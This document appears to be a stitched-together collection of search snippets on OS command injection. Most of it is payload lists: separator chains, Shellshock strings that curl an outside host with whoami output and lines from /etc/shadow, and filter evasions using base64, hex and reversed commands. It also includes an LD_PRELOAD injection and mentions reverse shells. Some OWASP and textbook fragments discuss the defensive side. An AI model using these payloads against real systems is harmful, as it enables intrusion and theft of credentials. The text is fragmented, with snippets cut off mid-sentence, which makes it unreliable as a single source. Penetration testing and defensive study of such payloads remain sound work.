For instance, you can use IFS variable ... you can override IFS and use any character as a separator: ... $ LD_PRELOAD=./inject.so git -v [+] Inject.so Loaded!...

This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.

OWASP Reviewing Code for OS Injection. OWASP Testing Guide article on Testing for Command Injection.

September 29, 2021 - ` || | ; ' '" " "' & && cat /etc/passwd id id id ping -i 30 127.0.0.1 /usr/bin/id /usr/bin/id %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1 {${phpinfo()}} {${sleep(20)}} {${sleep(3)}} a|id| a;id| a;id; a;id\n () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=16?user=\`whoami\`" () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`" () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`" () { :;}; /bin/bash -c "

November 21, 2025 - -------------------------------------------------------------------- Special Characters & ; Newline (0x0a or \n) && | || command ` $(command ) -------------------------------------------------------------------- Useful Commands: Linux whoami ifconfig ls uname -a -------------------------------------------------------------------- Useful Commands: Windows whoami ipconfig dir ver -------------------------------------------------------------------- Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id ls|id; ls |id; ls| id; ls | id ls&&id; ls &&id; ls&& id; ls && id ls&id; ls &id; ls

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands. #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls id # Execute both (RECOMMENDED) ls bash -c "id" # (Combining new lines and tabs) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command

Unix Command Injection Cheat Sheet · Raw · command_injection_unix.list · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.

| Code | Description | | ----- | ----- | | **Character Insertion** | | `'` or `"` | Total must be even | | `$@` or `\` | Linux only | | **Case Manipulation** | | `$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")` | Execute command regardless of cases | | `$(a="WhOaMi";printf %s "${a,,}")` | Another variation of the technique | | **Reversed Commands** | | `echo 'whoami' \| rev` | Reverse a string | | `$(rev<<<'imaohw')` | Execute reversed command | | **Encoded Commands** | | `echo -n 'cat /etc/passwd \| grep 33' \| base64` | Encode a string with base64 | | `bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)` | Execute b64 encoded string |

The echo command causes the supplied string to be echoed in the output. This is a useful way to test for some types of OS command injection. The & character is a shell command separator.

# URL encoded newlines command1 command2 # represents \n ping id # Executes ping, then id on new line whoami ls # Runs whoami, then ls # Carriage return injection command1 command2 # represents \r echo test cat /etc/passwd # Potentially bypasses filters

This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.

requires a very detailed understanding of shell command syntax and then writing program logic that · protects against all the potential unintended consequences. © 2018 Loren Kohnfelder, Elisa Heymann, Barton P. Miller. All rights reserved. ... Note that these vulnerabilities are not attacks on the shell, but rather are attacks that create malicious ... Use of (Linux) popen, or system. ... Programmatic execution of a shell such as sh, or tcsh, or bash. ... Argument injections (use of exec), allowing arguments to begin with "-" can be dangerous.

December 10, 2021 - Command Injection is a format string vulnerability that occurs when user input that is not filtered is then passed to the system shell (system (), exec (), etc.). An attacker can exploit this…

September 16, 2024 - OWASP Top 10 Mini Series - Command Injection Cheat Sheet · Published on December 27, 2019 · Command injection is similar to SQL injection, but instead of injecting into a SQL query, you are injecting a command into the Operating System.

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard output. It is also injectable:

September 26, 2025 - However, the beginning of the payload is what demonstrates that it is actually Command Injection. The semicolon ends the current bash command, ping, before the PHP command is executed. php -r will execute the following PHP on the command line, which in this case is a reverse shell back to the attacker’s IP address.

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding […] Shells bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm, Comments Off on Reverse Shell Cheat Sheet

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" /etc/passwd swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764 /etc/passwd swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764) /etc/passwd swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)` root:x:0:0:root:/root:/bin/bash · Commands execution without backslash and slash - linux bash

March 27, 2025 - In this scenario, if $USER_INPUT isn't sanitized, an attacker can inject additional commands using separators like ;, &&, or |. For instance: